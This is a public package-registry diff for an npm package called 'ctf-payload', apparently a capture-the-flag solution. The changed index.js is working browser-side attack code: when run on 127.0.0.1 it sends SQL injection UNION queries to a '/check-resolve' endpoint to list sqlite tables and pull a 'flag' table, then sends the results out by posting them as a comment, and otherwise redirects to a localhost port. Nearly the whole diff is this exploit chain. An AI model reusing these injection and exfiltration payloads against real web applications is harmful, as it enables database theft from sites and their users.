ctf-payload 1.0.41 → 1.0.43
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +8 -6
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,15 +1,17 @@
|
|
|
1
1
|
if(window.location.hostname === '127.0.0.1'){
|
|
2
2
|
const queries = [
|
|
3
|
-
"id=0 UNION SELECT
|
|
4
|
-
"id=0 UNION SELECT
|
|
5
|
-
"id=
|
|
3
|
+
"id=0 UNION SELECT name FROM sqlite_schema--",
|
|
4
|
+
"id=0 UNION SELECT name FROM sqlite_temp_master--",
|
|
5
|
+
"id=1 ORDER BY 1--",
|
|
6
|
+
"id=0 UNION SELECT flag FROM flag--",
|
|
7
|
+
"id=0 UNION SELECT flag FROM flags--"
|
|
6
8
|
];
|
|
7
|
-
Promise.all(queries.map(body
|
|
9
|
+
Promise.all(queries.map(body=>
|
|
8
10
|
fetch('/check-resolve',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body})
|
|
9
11
|
.then(r=>r.text())
|
|
10
|
-
.then(t=>body.split('
|
|
12
|
+
.then(t=>body.split('id=')[1].substring(0,30)+'='+t.substring(0,100))
|
|
11
13
|
)).then(results=>{
|
|
12
|
-
|
|
14
|
+
fetch('/post-comment',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'comment-author=r&comment2='+encodeURIComponent(results.join('|').substring(0,190))});
|
|
13
15
|
});
|
|
14
16
|
} else {
|
|
15
17
|
window.location='http://127.0.0.1:8255/part2';
|